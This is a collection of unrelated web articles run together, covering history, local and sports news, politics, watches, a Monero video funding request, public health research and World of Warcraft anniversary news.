Europeans. De Soto's men were both the first and nearly the last Europeans to witness the villages and civilization of the Mississippian culture.  De Soto's expedition led the Spanish crown to reconsider Spain's attitude toward the colonies north of Mexico. He claimed large parts of North America for Spain. The Spanish concentrated their missions in the state of Florida and along the Pacific coast.  Namesakes [ edit ]  DeSoto Deluxe automobile insignia from early 1950s  Many parks, towns, counties, and institutions have been named after Hernando de Soto, to include:  Places [ edit ]  Other [ edit ]  See also [ edit ]  References [ edit ]
-A reimagined Bob Bryant Park is beginning to take shape as architects and community members this month put finishing touches on plans to build a "culture walk" at the site starting next year.  The preliminary master plan for the project, designed by Houston-based landscape architecture firm Burditt, shows a wildflower meadow, amphitheater, graffiti wall, interactive sculptures and a boardwalk lining the Colorado River.  The city hired the group in February to plan the culture walk — an outdoor trail at the north end of the park that will highlight the history and ecology of Bastrop County and Central Texas using art and design.  Last month, architects invited residents to a public forum to submit feedback into the design. About 30 people attended, many from the Riverside Grove neighborhood that adjoins Bob Bryant Park.  Children painted ceramic tiles that will be used to craft a mosaic which will be incorporated into the culture walk.  Gavin, 9, who lives in Riverside Grove, said he imagined celebrating holidays there — Fourth of July and President’s Day — and playing in the open fields.  Diana Wilson, the lead architect for the project, said some of the best ideas came from children who live in the neighborhood. They use the park every day and have big ideas about what they’d like to see for its future.  "I think these days when children get to a park, they want to celebrate," Wilson said. "They are excited to run and play outdoors."  The main tether for the project will be an existing concrete walkway that lines the north end of the park. It will be dotted with permanent art exhibits and pieces rotated on a regular basis. There are plans for a nature and learning center, an amphitheater to host poetry readings and other cultural events and areas where kids can run and play games. Pecan groves, shade trees, grasslands and wildflower fields will turn nature into art.  "It’s also a very important goal to feature the history, culture and ecological heritage of Bastrop," Wilson said. "It really is a theme of survival and what better way to show that than through nature."  The master plan addresses the entirety of Bob Bryant Park, not just the culture walk. It recommends cleaning the area, pruning trees, upgrading facilities, adding signage and possibly appointing a park police officer to monitor safety.  "We wanted it to feel like one cohesive project," Wilson said. "But the main focus would be the culture walk."  Bastrop Art in Public Places, a division of the city that uses hotel occupancy tax funds to foster art and culture in Bastrop, is spearheading the culture walk project. Its goal will be to attract residents and visitors to the city’s parks and trails, BAIPP Chair Deborah Johnson said.  The group has designated $28,000 this year to complete the design phase for the culture walk, which includes assessing the topography and layout of the park, gathering input from various stakeholders, developing 3D sketches and dividing the project into phases with measurable costs. The entire project will likely be completed in about five years, Johnson said.  Wilson said the master plan for the culture walk is expected to head before the City Council for approval this month.
-NEWARK, NJ – The Albany Devils influence continues on the national level. On Sunday, goaltender Scott Wedgewood made his NHL debut and earned his first victory, making 27 saves in a 2-1 win against Columbus.  After backstopping Albany to a 5-1 win at Utica Saturday, Wedgewood was informed about his recall on the bus ride back New York’s Capital. The following day, his boyhood dream came true.  “For a long time I had replayed this in my head,” Wedgewood said after being names the game’s first star. “I felt like it was just another hockey game, when it comes down to it. I felt I belonged here. Those things helped me step in and stay calm.”  Defenseman Vojtech Mozik also made his NHL debut during the game. The 23-year-old, who the Devils signed as a free agent during the offseason, logged 10:29 of ice time.  “It was really great,” Mozik said. “It’s an unbelievable feeling. I’m just happy we won, so it’s a great feeling.”  This season, 11 players have played for both New Jersey and Albany.
-The scars of Germany's darkest hour are all over Berlin. Beyond the history books, the monuments and the museums, the subtle reminders of the most destructive war in human history are scattered about the city.  Stepping stones to remembrance  Some of Nazi Germany's most abominable legislation came from Berlin. It is no surprise that the Allied media portrayed it as the root of all evil.  Aktion T4, the secret programme that enabled forced euthanasia of German citizens got its name from its birthplace on Tiergartenstraße 4 in Berlin. A memorial to its 70 273 victims was erected where the program was formerly administered.  The fate of the European Jews was sealed at the Wannsee conference, some 20 kilometers from Berlin. It is still possible to visit the house where the conference was held.  Over twelve years, more than a hundred thousand Berliners - Jews, homosexuals, artists, pacifists - were deported by the nazis. Most of them would not live to see the end of the regime.  Since a 1992 initiative by artist Gunter Demnig, over 48 000 marked stones have appeared before the houses of German citizens who were deported and murdered. Over 3000 Stolpersteine exist in Berlin alone, each of them commemorating a victim.  The full list of Stolpersteine can be found along with pictures on Wikimedia Commons.  The women who moved mountains  The suffering of Berlin's citizens did not end with the capitulation of Germany. In some areas of the city, up to 30% of buildings were irreparably destroyed and even running water became a luxury for some Berliners. With the closing of hostilities began a long reconstruction process.  Few men were spared from the previous six years of fighting. In addition to the 4.4 million military casualties, over 2 millions Germans were held in other countries as forced labour. As a result, the bulk of the reconstruction effort was undertaken by women.  The Trümmerfrauen spent years clearing the debris from street fighting and Allied bombing raids. The several million cubic meters of debris eventually formed mountains, most of which still remain to this day.  The hills of Volkspark Friedrichshain and Volkspark Humboldthain are among them. One of them, Großer Bunkerberg, is the site of the Friedrichshain flak tower. After attempts at demolishing the massive concrete structure, the Soviets resorted to burying it with debris.  In the French sector, the Humboldthain flak tower suffered the same fate, but it is still possible to see and visit the partly buried flak tower.  There are six other debris mountains in Berlin alone, and several more across Germany.  Deliberate understatements  On April 30, 1945, Hitler committed suicide with his wife, Eva Braun. Their corpses were taken out of the Führerbunker in Berlin Mitte, doused with gasoline and unceremoniously cremated.  Despite deliberate efforts to make sure his corpse would never end in enemy hands, his charred remains were discovered by a young Soviet private. It was taken out of Berlin in great secret by the NKVD and reburied several times over the following decades. There is only one living man who knows the final location of Hitler's remains, and he vowed to take his secret to the grave, lest it becomes a site of pilgrimage for neo-Nazis.  The bunker in which Hitler killed himself was partly demolished, then filled up and buried. The location remained an unmarked parking lot until 2006 World Cup, when a sign was added in front of it.  Ruin value  In 1938, Hitler commissioned his favorite architect, Albert Speer, to design a new Chancellery that would be "suitable for a Greater German Reich".  The new building was intentionally designed to inspire awe. In order to reach Hitler's 400 square meter office, one had to walk across a 145 meter long gallery. It featured giant doors flanked by massive bronze statues and tall red marble walls draped in swastika flags  It was not unusual in post-war Germany to recycle debris in new constructions. After the devastating firebombing of Dresden, burned bricks from the original Frauenkirche were reused in its reconstruction.  The badly damaged Reich Chancellery was demolished by the Soviets to make room for an apartment complex. Instead of adding the rubble to one of Berlin's debris mountains, it was used with great symbolism in the construction of the Soviet War Memorial in Treptow. The monument was unveiled exactly 4 years after the German capitulation to honour the 81 000 Red Army soldiers who fell in the Battle of Berlin.  Some other buildings, on the other hand, were not demolished. Only a few hundred meters from Alexanderplatz, you can find the ruins of the Franziskaner-Klosterkirche. The church was left mostly untouched after it was gutted by Allied bombs in April 1945, and its interior was turned into an open air theatre.  The damaged spire of the Kaiser Wilhelm Memorial Church on Kurfürstendamm was also left untouched as a reminder of the destructive nature of war.  There are several buildings in Berlin that are still peppered with bullet holes from the street fighting in 1945. Redditors have pinpointed a few more buildings that still show those scars.  Between guilt and remembrance  German veterans of the War are not celebrated or honored, and even remembering their suffering seems to be at odds with how Germans are taught about their own past.  As described in great detail elsewhere, there was hardly any distinction between veterans and the general population in 1945. Every man capable of holding a weapon was thrown against the Allied steamroller as the war neared its end. The last-ditch Volkssturm saw children as young as 13 on bicycles with panzerfaust racks sent to destroy Soviet tanks.  While American and English veterans were returning home to be greeted by cheering crowds, there was no one to welcome German soldiers in a community that was on the brink of total collapse. It wasn't until the German economic miracle that the discourse about Germany's past could be reopened.  It's now possible for Germans to share their side of the story and enrich history with tales that were downplayed and even silenced for decades. Hopefully, this new openness will help us understand how so much evil was brought upon the world and ensure it never reoccurs.
-Tony Verna, a television director and producer who invented instant replay for live sports 51 years ago, has died. He was 81.  Verna died Sunday at his Palm Desert home after battling acute lymphoblastic leukemia, daughter Tracy Soiseth said.  CBS used instant replay for the first time in the Dec. 7, 1963 Army-Navy football game in Philadelphia, after Verna developed a method to cue the tape to pinpoint the play he wanted to immediately air again. He said he was looking for a way to fill those boring gaps between plays during a football telecast  The concept was so new that when Army quarterback Rollie Stichweh scored a touchdown, announcer Lindsey Nelson had to warn viewers: “This is not live! Ladies and gentlemen, Army did not score again!”  Instant replay quickly became a staple of sports broadcasting, and Verna’s innovation gave fans a new way to look at the games.  “Not many things you can do in life where you can change the way things were happening before,” Verna told The Associated Press in 2008.  Verna would go on to produce or direct five Super Bowls, the Olympics, the Kentucky Derby and even “Live Aid.”  His lasting legacy, though, is pulling back the curtain on sports and revealing what really goes on.  Verna is survived by his wife of 45 years, Carol, daughters Tracy Soiseth and Jenny Axelrod, son Eric Verna and three grandchildren.
-Dublin 0-22 Kerry 2-14  Stoppage-time points from sub Eoghan O’Gara and Diarmuid Connolly finally saw Dublin past Kerry in an enthralling All-Ireland senior football semi-final at Croke Park this afternoon.  In front of a packed house at GAA HQ, the Sky Blues kept their dreams of back-to-back Sam Maguire wins alive as they saw off the Kingdom by just two points to book a final spot with Mayo on 18 September.  For Dublin, it’s the latest in a recent line of big-game victories over their traditional rivals, following on from final victories in 2011 and 2015, and a semi-final success in 2013.  Referee David Gough left the pitch to a chorus of boos from Kerry fans at full-time and the Meath whistler was pelted with match programmes and other items as made his way down the Cusack Stand tunnel.  The free count was heavily weighted in Dublin’s favour and a few close to goal, particularly in the second half, outraged Kerry supporters, while there was also a disputed ’45 that went Dublin’s way.  There was also a highly-controversial episode in stoppage time when Peter Crowley appeared to be hit with a frontal charge by Dublin’s Kevin McManamon – but Gough allowed play to continue.  That was at a stage when Kerry were attacking through Crowley and had a free been given, there was every chance that the game would be tied up again.  But Dublin broke and Connolly slotted over a beautiful point off his left boot from the Hogan Stand side of the field.  In the final minute of normal time, it appeared that Kevin McManamon would be the scourge of Kerry once more – as his point put Dublin 0-20 to 2-13 clear.  Kerry equalised when sub Stephen O’Brien fisted over but there was still time for O’Gara and Connolly to strike and send Dublin into a fourth final in six years.  Hill 16 erupted at full-time as Kerry struggled to come to immediate terms with another devastating loss against Dublin.  And yet it had all looked so good for the Munster champions at half-time as a magnificent run of 2-4 without reply approaching the break turned this game on its head.  Jim Gavin says there was never any panic in his team despite the five-point interval deficit https://t.co/iMC67u1rJM — The Sunday Game (@TheSundayGame) August 28, 2016  In front of a sell-out Croke, Dublin controlled the first 25 minutes and were five points clear when Connolly slotted over a 24th-minute point to establish a 0-09 to 0-04 lead.  But Kerry were brilliant before the break, pressing high and attacking Stephen Cluxton’s restarts, as the Dublin goalkeeper looked unusually shaky.  Kerry rattled off three points without reply before an equalising goal arrived on the half-hour mark.  Paul Geaney pounced to pick off a Cluxton kick-out aimed for Johnny Cooper and a quick exchange of passes saw the ball end up in the Dublin net, Darran O’Sullivan the scorer after Donnchadh Walsh kept the move flowing.  Cluxton sent a kick-out over the touchline shortly afterwards as Dublin, clearly ratted, attempted to see out the remainder of the half before retreating to the sanctity of the dressing room.  But there was more havoc to come as, following a Cooper point, Anthony Maher’s long delivery saw Geaney beat Cluxton to the punch and the umpire rightly reached for the green flag.  Another Cooper free before half-time saw Kerry lead by 2-08 to 0-09 but Dublin were level within 15 minutes of the restart, roaring out of the traps to reel in the Kingdom.  Kerry managed to tag on just a solitary point in that crucial period following the interval but Dublin were humming, raising six white flags.  The final 20 minutes were simply gripping, Kerry re-asserting themselves to open up a three point lead with the clock running down.  But Dublin hit back again with four points on the spin – two Rock frees sandwiched in between efforts from Philly McMahon and McManamon.  Dublin saw the finishing line but there was still plenty of injury-time drama to come – with Jim Gavin’s holders the last men standing.  DUBLIN: S Cluxton; P McMahon (0-01), J Cooper, D Byrne; J McCarthy, C O’Sullivan, J Small; B Fenton (0-01), M.D. MacAuley; P Flynn, K McManamon (0-02), C Kilkenny; D Rock (0-12, 8f, 2 45s), D Connolly (0-03), B Brogan (0-02).  Subs: P Andrews for Flynn (46), P Mannion for Small (50), E O’Gara (0-01) for MacAuley (60), M Fitzsimons for Cooper (67), C Costello for Brogan (70+1).  KERRY: B Kelly; S Enright, M Griffin, K Young; A O’Mahony, P Crowley; T Morley; A Maher, D Moran (0-01); P Murphy (0-01), C Cooper (0-05, 4f), D Walsh; K Donaghy, P Geaney (1-04), D O’Sullivan (1-00).  Subs: S O’Brien (0-01) for O’Sullivan (39), J O’Donoghue (0-01) for Donaghy (50), B.J. Keane (0-01) for Walsh (52), B Ó Beaglaoich for Morley (56), B Sheehan for Maher (58), M Ó Sé for Geaney (67).  Referee: D Gough (Meath).
-Hillary Clinton campaign chairman John Podesta refused two separate times on Sunday to acknowledge that last month’s election was “free and fair.”  “Do you believe this was a free and fair election?” NBC “Meet the Press” host Chuck Todd asked Podesta, whose hacked emails were published online during the campaign.  “I think the Russians clearly intervened in the election,” Podesta responded.  He also asserted, citing recent reports, that “the CIA, the director of national intelligence, and the FBI all agree that the Russians intervened to help Trump” and that Russian president Vladimir Putin “was personally involved.”  “You didn’t answer the question,” Todd noted. “Do you believe this was a free and fair election?”  “I think it was distorted by the Russian intervention, let’s put it that way,” Podesta responded.  Asked what he meant by “distorted,” Podesta said: “A foreign adversary directly intervened into our Democratic institution and tried to tilt the election to Donald Trump.”  Podesta’s claims that Russia hacked Democrats specifically to help Trump is still up for debate.  One piece of evidence that goes against that theory is that Russian hackers began attacking the Democratic National Committee’s systems in Sept. 2015. That was well before Trump was considered to have any chance of even winning the GOP primaries, much less the general election.  WATCH:  Follow Chuck on Twitter
-One of my favorite watches of all times is the rather exceptional UR-CC1 from URWERK. A highly remarkable timepiece that remind of the dashboards of cool 1960’s cars. That’s at least part of the inspiration for URWERK’s UR-CC1.  Recently I came across a photo of an old Patek Philippe, that looks very much like the UR-CC1. After some more research it appears to be a prototype, created by the late Louis Cottier and it was called Cobra. That explains the “CC” in the name; Cottier and Cobra. And the grey gold and black gold versions of the UR-CC1 are nicknamed King Cobra and Black Cobra.  After a bit of a search (you gotto love the internet, because articles remain online for a looooong time, as where the paper version would have been recycled by now), I found an excellent article on Watchismo, giving much insight in the development of URWERK’s UR-CC1 and historical facts about Patek’s old prototype.  More then 60 years ago…  In 1958 two men, Gilbert Albert (who designed many ‘odd shaped’ watches for Patek) and Louis Cottier (the inventor of the worldtimer watches as we know them today!) came together to design something outrageous; the very first watch with a linear time display. This became nothing less then a technical headache of monumental proportions. In 1959 Louis Cottier applied for a patent and that was it; no news if they got ‘codename Cobra’ to work. The Patek Philippe Cobra found a place in the Patek Philippe museum in Geneva ever since.  Now fast forward in time to the year 2006…  URWERK or actually Martin Frei and Felix Baumgartner, had been thinking about a watch with a linear time display since the early days of URWERK. The idea was put aside, until 2006 when Felix saw Hitchcock’s movie ‘Birds’. A close-up in the movie shows the dashboard of an old Dodge with a linear speedometer. This revives the old idea, to develop a watch with a linear time display. During their research they stumble across the old Patek Philippe Cobra and this inspires them even more. After three years of research and one year of testing the URWERK UR-CC1 is released. “CC” stands for Cottier Cobra, a homage to the original inventor.  How it works  Lucky for us, Felix Baumgartner and Martin Frei were able to create a working watch with linear time display. The UR-CC1 indicates the time by means of jumping hours and retrograde minutes. Both the hour and minute indicator are rotating cylinders.  The cylinder that indicates the hours has 12 lines, each ‘an hour’ longer than the last against the linear scale of hours. This cylinder jumps to the next line at the end of each hour. The minute-indicating cylinder is the one with the finer lines.  So far, so good, however it isn’t as simple as it looks. Remember that the UR-CC1 is actually quite flat for such a complicated timepiece. Meaning that the normal movement with its gears have to transfer the power to rotating the long cylinders, which indicate hours and minutes.  The power is transferred by a so-called triple-cam (see image below). This triple-cam rotates once every 3 hours. At the side of the movement you can see a rack; this rack is fixed on the left end (of the image) and the other end moves up and down because of the small hook that is attached to the triple-cam.  The side that moves up and down (in the image: the right side of the rack) is equipped with teeth that mesh with and rotate the minute cylinder.  Are you still with me? Sure hope so… The cylinder with minute indications doesn’t make a full rotation; it rotates just 300 degrees and then it jumps back to the beginning within 1/10th of a second. This is all driven by the teeth at the end of the pivoting rack. After 1/3 rotation by the triple-cam, the rack drops, rotates the minute cylinder 300 degrees back to zero and at that moment another gear makes the hour cylinder rotates 1/12th of a rotation (i.e. 30 degrees) to indicate another hour.  I could explain more about the used materials, that ensure the necessary stiffness, lightness and lowest possible friction, but I’ll leave that to maybe a next story.  Oh, and there’s also the pneumatic shock-absorbing Rotor Fly Brake automatic winding system that minimizes rotor and mechanism wear and damage from shock and harsh movements! No worries… also for another time 🙂  For now… some photos! All the following photos are made by Ian Skellern.  And one last photo… what an incredible timepiece!  The price level of the UR-CC1 is north of 200,000 CHF. More information about the UR-CC1 and other URWERK timepieces can be found on the URWERK website.  PS. Soon more news about two unique pieces of the UR-CC1, stay tuned!  This article is written by Frank Geelen, executive editor for Monochrome Watches.
-DO you have a stapler?  If you do, maybe it’s a little dusty in this age of PDFs. Or maybe it’s been missing for a while, after someone borrowed it and never brought it back. Or maybe you’ve affixed your name to your stapler with a piece of clear tape, so your co-workers know: you take this stapler, you die.  Even as data moves to computers and the cloud, staplers continue to help people keep it together. On the computer, we can file copies in folders and send messages to mailboxes. We can cut, copy and paste text and files. But which computer activity is similar to stapling? Sure, there’s the paper-clip icon that attaches documents to e-mail. But nothing, really, comes close to the satisfying ka-chunk of a stapler: it’s a sound that means work is getting done.  Paper receipts are supposed to be on their way out, but they continue to flutter their way through restaurants, stores and doctors’ offices. Staplers are there, attaching the receipt to the business card, the return receipt to the original receipt, the merchant copy to the bill, the receipt to the takeout bag.  If you have a stapler, the odds are fairly good that it was made by Swingline. Other companies, including Stanley-Bostitch, along with OfficeMax and Staples, also make staplers. But Swingline, now owned by Acco Brands, has long been the market leader.
-Hello everyone!  It's been a pleasure creating the first "What is Monero?" promotional video. The custom music, art, and project files have all been open sourced, and we greatly enjoyed the process.  Link to the Final Video  Link to the Github Repo  We (my wife and myself) worked over 40 hours on the video over the course of creating a storyboard, illustrating artwork, animating the art, and making the music. We also coordinated with the whole community via Reddit and Slack channel to make any edits, and welcomed any feedback.  We want to thank people who helped us with the script and edits:  needmoney90 SamsungGalaxyPlayer bitsofic  (I'm sorry to say we lost few names due to Slack history issue. Sorry guys!)  We want to keep our rates as low as possible (we need to eat something!), so we're asking for $10 per hour worked. In total, that is $800 (~110 XMR) between the two of us. We already have some contributions, mainly from needmoney90 and SamsungGalaxyPlayer, for 38 XMR in total. This brings the remaining requested funding down to 72 XMR. If you enjoyed our work, and would like to see more of it in the future, please help fund this request.  We are looking forward to making more videos for Monero in the future, including an explanatory animation on Ring Signatures. Once a proposal has been created for that, we will link to it here.  Thank you for all the community support. If you have any questions or comments, please feel free to send me a message on either Slack/IRC (@savandra), or by email (savdeyev at gmail dot com)
-Sen. Bernie Sanders fired up big crowds in St. Paul and Duluth on Tuesday, trying to keep momentum building for his surging Democratic campaign just days from when the first votes of the presidential race are cast.  More than 14,000 people came to St. Paul’s RiverCentre — a third of them in an overflow crowd — for the Vermont senator’s evening speech, and earlier, about 6,000 people packed his afternoon rally at the Duluth Entertainment Convention Center.  In both cities, Sanders spoke in typically fiery fashion on his themes of reducing income inequality, breaking the influence of big money in politics and reforming the criminal justice system.  “You, and millions of other people, need to come together,” Sanders said in Duluth, adding that what he advocates is no less than a political revolution. “You need to say loud and clear that when so many men and women fought and died to save our country, that we the people are going to have a government that represents us, not just a handful of billionaires.”  In St. Paul, he said that no president “can effectively address the crisis facing our country unless there is a political revolution.” The crowd cheered when he attacked the campaign finance system as corrupt and the criminal justice system as broken, and booed when he singled out Wal-Mart for not paying its workers enough and railed against Wall Street, corporate America, the corporate media and the Koch brothers.  “Today in America, we have a rigged economy,” Sanders said. “People are sick and tired of working long hours for lower wages.” He vowed to make paid family medical leave and a $15 minimum wage a reality.  “Some kid in Minneapolis gets arrested for selling marijuana, that kid gets a police record,” he said, as the crowd booed. But a Wall Street executive whose behavior brought the economy into the worst recession since the 1930s gets nothing, he continued, adding, “...Wall Street’s greed is destroying our economy.”  One of the loudest cheers came for Sanders’ call for “major reform in the way police departments function.” While saying that he believes most police officers act responsibly, he said it was not acceptable to see unarmed people, particularly Latinos and African-Americans, “killed in cold blood.”  “When a police officer breaks the law, that officer must be held accountable,” he said.  Shannon Chapa, 39, said she was skeptical of him at first, but “I think he really listens to those of us who aren’t the 1 percent.”  Ken Brown, 72, came from Menomonie, Wis., to see Sanders. “Hillary [Clinton] hasn’t got enough strength to withstand the competition,” he said.  Waiting for Sanders, who spoke first to the overflow crowd, they heard from Farhiya Ali, a Hamline University student, and U.S. Rep. Keith Ellison, D-Minn. Ali drew cheers when she called for addressing institutional racism and the way cities are policed — and when she made a dig at Republican candidate Donald Trump by saying Sanders would bring change “rather than scapegoating Latinos or Muslims.”  Rising influence  Initially viewed as a long shot due to his quirky style and self-professed socialism, Sanders, 74, has recently risen to near equal or even ahead of Clinton in a handful of polls of Democratic voters. The biggest test of his underdog bid comes Monday, when Iowans gather for their first-in-the-nation caucuses.  Sanders started Tuesday in Des Moines at a rally with a United Steelworkers local that’s backing his bid. How he fares in Iowa will go a long way in determining whether he can keep up a fight against Clinton. Sanders told reporters at the Des Moines event that big turnout is key to his success.  Minnesota holds its own caucuses on March 1. A Star Tribune Minnesota Poll last week showed Clinton leading Sanders 59 percent to 25 percent among Democratic-leaning voters in the state. Sanders would beat Republican Donald Trump in a head-to-head matchup, the poll found. Sanders drew his strongest support in Minneapolis and St. Paul, but he also beat Trump in outstate Minnesota.  The Washington Post reported Tuesday that Sanders would hold a private meeting Wednesday with President Obama in the Oval Office. No agenda was announced, but it comes on the heels of Obama recently praising Clinton. The president has stressed, however, that he intends to remain neutral in the race for the Democratic nomination.  Resonating with the young  The size of the crowds showed how Sanders’ populist, anti-establishment message is resonating. The crowds were particularly well-stocked with young people.  “He has the people’s best interests in mind and his heart is in the right place,” said Paige Melius, a 23-year-old environmental sciences major at the University of Minnesota Duluth at the afternoon rally. Asked if she’d vote for Clinton should she become the Democratic nominee, Melius said she’d be more inclined to write in Sanders.  In his Duluth speech, Sanders ripped into perceptions that Clinton would be a better candidate for Democrats. He also said: “There’s nothing more in this life that I would look forward to than running against Donald Trump.”  Staff writer J. Patrick Coolican in Des Moines contributed to this story.  maya.rao@startribune.com 612-673-4210  patrick.condon@startribune.com 651-925-5049
-If you have found the love of your life, you might be in love with the way that person makes you feel and you will not get enough of it. That one person will always bring out the best in you and if you have not found that person yet, you will feel empty and hollow. Love is something that we all crave for and when you have a person to share all your emotions with, cry, and laugh and simply share life with; your life will be made much easier. If you have not found that one person yet or if you have tried and failed, you should not lose hope but you should work your way to find that person. Yes, the journey to that person will not be easy but when you find the treasure in the map of life, you will never feel any better. If you think that it is the time that you share your life with another person who is special to you, here are some of the things that you need to do to find the love of your life:  The right apps and the websites  You should not let your life get wasted away looking for love in all the wrong places. Nowadays, the best place to look for love with the guarantee of finding it is to use a dating app iPhone. In this app, you will be able to find people who are looking for a relationship and there will be loads of people who share the same interests as you do that will be the perfect match for you. Therefore, this the perfect start that you can set to finding that person to share the rest of your life with. You might have had enough being single and you should always make sure that you do not commit unless you find that one person. To find that one person is what will bother you but if you simply get involved in a single dating site, you can simply find that one person who is meant to be yours and share the good and the bad together.  Follow your heart  It is important that you let your heart flow when it comes to love. The more you get to know a person, the more you will realise if you are into that person or not. If you are interested, you should get to know them and spend quality time so you will find that person who you will fall love with and you will not have any problem creating mutual understanding.
-RESULTS: Japanese Grand Prix - Free practice results (2)  Max Verstappen has teased Red Bull could have the package to challenge Mercedes in the Japanese Grand Prix after a positive opening day in free practice at Suzuka.  Just two years after Verstappen made his F1 debut in an FP1 outing with Toro Rosso at Suzuka prior to the his full season deal in 2015, the 19 year-old returns to Japan as a potentially challenger for victory following a strong start in FP1 and FP2.  Though forced to set his fastest FP2 lap on used soft tyres after his 'new' run was scuppered by a Virtual Safety Car period, Verstappen - second in Malaysia last weekend - says he is nonetheless very happy with his form on the long runs which were on a par with the Mercedes'  OPINION: Does Lewis Hamilton deserve his Snapchat backlash?  "I think it's one of the best Fridays so far," the Dutchman, who was fourth fastest, said. "Everything seemed to work really well, the car handling is good, long run pace was good. I think we are quite happy but of course we still have work to do."  "At the moment the possibility very strong [to challenge for the win] so we will try to be close and hopefully with some rain tomorrow that could help us."  Indeed, Verstappen is hoping rain forecast in the area makes its presence felt to level a playing field and potentially increase Red Bull's chances of victory.  "In the wet we have even more of a chance to do a good job, so yeah, rain, I would like that. Hopefully we can be close to the Mercedes cars."  Wins, Max, Bernie... and Tesco: 10 Revealing minutes with Daniel Ricciardo  Latest Tweets from Crash.net & GPF1rst
-The harsh spending cuts introduced by European governments to tackle their crippling debt problems have not only pitched the region into recession — they are also being partly blamed for outbreaks of diseases not normally seen in Europe and a spike in suicides, according to new research.  Since the crisis first struck in 2008, state-run welfare and health services across Europe have seen their budgets cut, medical treatments rationed and unpopular measures such as hospital user fees introduced.  Médecins Sans Frontières says European governments are willing to respond to health problems like malaria but there's a lack of resources. (Alvaro Barrientos/Associated Press)  Those countries that have slashed public spending the hardest — namely Greece, Spain and Portugal — have fared the worst medically.  "Austerity measures haven't solved the economic problems and they have also created big health problems," said Martin McKee, a professor of European Public Health at the London School of Hygiene and Tropical Medicine, who led the research.  He said worsening health was driven not just by unemployment, but by the lack of a social welfare system to fall back on.  "People need to have hope that the government will help them through this difficult time," he said.  The paper was published online Wednesday in a special series of the journal Lancet.  More among drug users in Greece  McKee said Greece in particular was struggling. Based on government data, he and colleagues found suicides rose by 40 per cent in 2011 compared to the previous year. Last year, the country also reported an exponential rise in the number of HIV cases among drug users, due in part to addicts sharing contaminated syringes after needle exchange programs were dropped.  In recent years, Greece has also battled outbreaks of malaria, West Nile virus and dengue fever.  "These are not diseases we would normally expect to see in Europe," said Willem de Jonge, general director of Médecins Sans Frontières in Greece.  In 2011, MSF helped Greece tackle a malaria outbreak that broke out after authorities scrapped spraying programs to kill mosquitoes.  "There's a strong willingness in the government to respond [to health problems] but the problem is a lack of resources," de Jonge said.  Outside Madrid's Hospital Clinico San Carlos, several patients grumbled about deteriorating medical care.  "The cutbacks are noticeable in many ways," said Mari Carmen Cervera, 54, an unemployed nurse. Cervera's mother was initially admitted to the hospital with a serious heart problem that required surgery. Cervera says her mother was discharged too early and had to be brought back when she had trouble breathing one night.  "While she was [hospitalized], she wasn't being properly washed by the nursing staff, so I had to do it myself," she said. "I personally think what has happened to my mother is a consequence of negligence and I am going to make an official complaint as soon as [she] is well enough to come home again."  Hans Kluge of the World Health Organization's European office, advised countries against radical health reforms during an economic crisis.  "In every health system, there is fat to cut," he said, recommending countries start with straightforward measures such as buying more generic drugs or eliminating unnecessary hospital beds.  Still, McKee and colleagues found not all countries mired in debt are unhealthy. Despite massive losses in its banking sector, Iceland rejected a bailout deal prescribed by the International Monetary Fund.  McKee and colleagues didn't find any bump in suicides and the population may even be healthier since it nearly went bankrupt — which could have been a result of global junk food chains pulling out of the country due to rising food costs.  Elsewhere, the researchers noted a drop in road accidents as more drivers opted for public transport. In turn, that has led to a shortage of organ donations and transplants, particularly in Spain and Ireland.
-World of Warcraft will be reaching a significant milestone with their 10 year anniversary this November. To think that 10 years ago we were just figuring out how to play the class you randomly chose and exploring Azeroth. The game has evolved greatly since those early days and has seen four expansions with a fifth on the way. At it’s peak WoW maintained 12 million subscribers, but has seen a steady decline since 2011 and now only has a mere 6.8 million subscribers. That’s nearly half of the players leaving, but still leaves it as one of the most played games in the world.  Well, for those that still love to play WoW or have been looking for something fun to happen, Blizzard is going to tap into your nostalgia by bringing back a bit of the past. For a limited time only, Blizzard will run a new Battleground in the spirit of Tarran Mill and Southshore wars from the past and add a 40-man Raid Finder version of Molten Core for max level players. Oh and they are going to light some Corgis on fire…  Hmmm?  Alright, they aren’t actually setting Corgis on fire. Instead, just by logging in for the event, you will receive your very own Molten Corgi.  Anyone who logs in during the 10-year anniversary event will also be able to claim a feisty, fiery new pet: the Molten Corgi! Just think of the corgi-parade potential when you and your friends summon these wee waddling balls of fire for a walk.  Tarren Mill vs. Southshore: The Rematch  In the early days of WoW, there were a few places where the Horde and Alliance would clash. One of those places was in a mid level zone where a Horde town (Tarren Mill) and an Alliance town (Southshore) were close together and had quests for both factions in the area. This was also a contested zone on PvP servers which meant just being in the zone allows the opposite faction to attack you. Do to the proximity of the two towns, and a reasonable amount of hate towards the opposite faction, players would grieve low levels players and cause an all out war between factions in the area.  This was before the implementation of Battlegrounds and was a good source of PvP if you craved to fight the Horde or Alliance. Blizzard is going to attempt to recreate that with their new Battleground Tarren Mill vs. Southshore: The Rematch.  If you engaged in PvP early on in WoW, you might have fond memories of—and perhaps a few scars from—the endless tug-of-war between Horde and Alliance players at Tarren Mill and Southshore. To recapture that feeling, we’ll be opening a Team Deathmatch–style Battleground based on that timeless struggle. However, unlike the old days of Tarren Mill vs. Southshore, there will be a clearly defined victor, so you’ll need to work as a team or face crushing defeat.  One of things not mentioned about the new Battleground was how many people would be able to play it? Luckily, Holinka took to Twitter to answer that question.  100 v 100 is an amazing number and should bring back some of the feel of PvP 10 years ago with multiple 40 man raids battling it out near Tarren Mill. Holinka also noted that the old Honor System will be in affect and allow players to level up to higher ranks and be worth more points. Just so you know, you need to kill A LOT of people to make it to Grand Marshal or High Warlord…trust me…I know.  As players earn honorable kills, they level up through the original honor system. The higher rank you are, the more points you're worth. — Holinka (@holinka) August 6, 2014  Molten Core Gets Boosted  Molten Core was the first true raiding instance in WoW and for some it is either a fond memory or a nightmare from long ago. Molten Core was a 40-man instance that introduced new boss mechanics (living bombs, curses that need to be cleansed, spatial awareness, etc.), attunement, Tier 1 gear, and rep grinding to unlock the final boss. Guilds would spend weeks upon weeks farming the instance to gear up 40 people to even have a chance at taking down Ragnaros. They had to craft and farm fire resist gear and plan out fire resist buffs so that players could even stand in his presence. The raid also depended on the majority of the 40 people not fucking up so that the entire raid wouldn’t wipe on a boss and reclear trash. To commemorate that struggle, Blizzard is introducing a 40-man Raid Finder version of Molten Core for max level players.  Molten Core provided many WoW players with their first taste of WoW raiding. For the anniversary celebration, max-level players will be able to participate in a special 40-player Raid Finder version to relive the experience of hunting down Ragnaros and his minions within his fiery lair. Downing the Firelord will earn you an Achievement and a special Core Hound mount reward (fireproof leg armor not included).  Once you defeat the new and improved Molten Core, you’ll 